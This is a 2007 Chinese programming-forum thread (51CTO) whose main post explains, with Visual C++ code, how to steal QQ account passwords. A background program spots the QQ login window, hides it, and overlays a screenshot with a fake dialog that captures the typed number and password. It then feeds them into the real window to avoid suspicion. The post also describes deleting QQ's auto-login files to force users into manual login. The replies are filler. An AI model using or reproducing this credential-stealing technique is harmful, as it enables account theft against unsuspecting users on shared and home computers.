文本版|topic 高级搜索
   名人堂 帮助 论坛制度 意见反馈 | 首页 博客 周新贴 专题 求职 读书
RSS 底部
 
社区导航: 专家门诊   网络技术   操作系统   数据库   程序设计   系统应用   考试认证   CIO及信息化   站长交流   综合交流   下载基地  51CTO产品服务 设为首页 | 收藏本站
51CTO技术论坛» C/C++ » Visual C++与QQ密码安全       [ 打印]  [ 订阅]  [ 收藏]  [ 推荐给朋友]   [ 本帖文本页]

论坛跳转:
     
标题: [转载] Visual C++与QQ密码安全  ( 查看:316  回复:3 )   
 
Easy
助理工程师  点击可查看详细



帖子 365
精华 2
无忧币 1780
积分 1619
阅读权限 40
注册日期 2007-11-6
最后登录 2008-5-5 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2007-11-19 13:23   标题:Visual C++与QQ密码安全
上一帖 |
近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。
  网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。
  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:

//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) {
        return FALSE;
    }
    while (Process32Next(hSnapshot, &pe)) {
        if (pe.th32ProcessID == PID) {
            strcpy(lpszProcessName, pe.szExeFile);
   return true;
        }
    }
  
    return FALSE;
}   
   
//查找QQ登录窗口
void QQFind()
{
HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{  
  //获得当前激活窗口的句柄
  g_hWnd = GetForegroundWindow();
  GetWindowThreadProcessId(g_hWnd, &QQPID);
  //根据PID获得进程名
  processIdToName(sTitle, QQPID);
  ss = sTitle;
  ss.MakeLower();
  //判断是否QQ
  if(ss != "qq.exe")
  {
   Sleep(100);
   continue;
  }
   
  //获得标题文字,判断是否登陆对话框
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
  ss = sTitle;
  int n = ss.Find("QQ", 0);
  int m = ss.Find("登录", 0);
  if(n >= 0 || m >= 0)
  {
   //查找QQ登陆按钮的句柄
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin);
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin);
   //获得QQ登陆按钮窗口位置
   GetWindowRect(ButtonLogin, &g_qqLogin);
   //查找QQ取消按钮的句柄
   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
   //获得QQ取消按钮窗口位置
   GetWindowRect(ButtonCancel, &g_qqCancel);
   //查找QQ密码输入框的句柄
   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  
   if(hWnd1 != NULL)  
   {
    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
    //获得QQ密码输入框窗口位置
    GetWindowRect(qqPass_hWnd, &g_qqPassRt);      
   }
   
   //查找QQ号码输入框的句柄
   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
   if(hWnd1 != NULL)  
   {
    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
    //获得QQ号码输入框窗口位置
    GetWindowRect(qqID_hWnd, &g_qqIDRt);
    //获得当前默认QQ号码
    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
   }
   
   //等待QQ窗口完全出现后抓取整个屏幕
   Sleep(100);
   g_DlgRt.left = 0;
   g_DlgRt.top = 0;
   g_DlgRt.right = m_xScreen;
   g_DlgRt.bottom = m_yScreen;   
   g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
   
   //设置QQ窗口为不可见
   ShowWindow(g_hWnd, SW_HIDE);
   
   //弹出我们创建的伪造对话框
   HINSTANCE hInstance = GetModuleHandle(NULL);
   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
   
   //设置QQ窗口为可见
   ShowWindow(g_hWnd, SW_SHOW);
   //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
   SendMessage(ButtonLogin, BM_CLICK, 0, 0);
   DeleteObject(g_pBitmap);
   //设置标志退出循环
   find = true;
  }
   
}
while(find == FALSE);
}


好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。



网络虽虚拟,技术无边界,来看看大家“真面目”!
2007-11-19 13:231楼
[ 顶部 ]
 
baiyang304
新新人类  点击可查看详细



帖子 44
精华 0
无忧币 16
积分 88
阅读权限 20
注册日期 2008-1-2
最后登录 2008-4-15 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-1-4 21:18 
顶一下
拿分走人``



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-1-4 21:182楼
[ 顶部 ]
 
ribut9225
主版主  点击可查看详细


开坛元老   内阁大臣   诚信兄弟   主版主专用   巨蟹座  
帖子 3065
精华 1
无忧币 5692
积分 4076
阅读权限 150
来自 (保密)
注册日期 2006-6-22
最后登录 2008-9-5 离线

[查看资料]  [发短消息]  [Blog
  QQ       
发表于:2008-1-5 09:26 




用户必读,51CTO积分系统调整通知
2008-1-5 09:263楼
[ 顶部 ]
 
laisuguo
新新人类  点击可查看详细



帖子 13
精华 0
无忧币 128
积分 34
阅读权限 20
注册日期 2007-11-20
最后登录 2008-1-21 离线

[查看资料]  [发短消息]  [Blog
       
发表于:2008-1-8 22:09 
路过



网络虽虚拟,技术无边界,来看看大家“真面目”!
2008-1-8 22:094楼
[ 顶部 ]
     
论坛跳转:  

| | |

| | |

| | |

标记已读 · 删除论坛Cookies · 文本版 · WAP
 
| 诚征版主 | 版主堂 | 意见建议 | 大史记 | 论坛地图
Copyright©2005-2008 51CTO.COM  Powered by Discuz!
本论坛言论纯属发布者个人意见,不代表51CTO网站立场!如有疑义,请与管理员联系。
京ICP备05051492号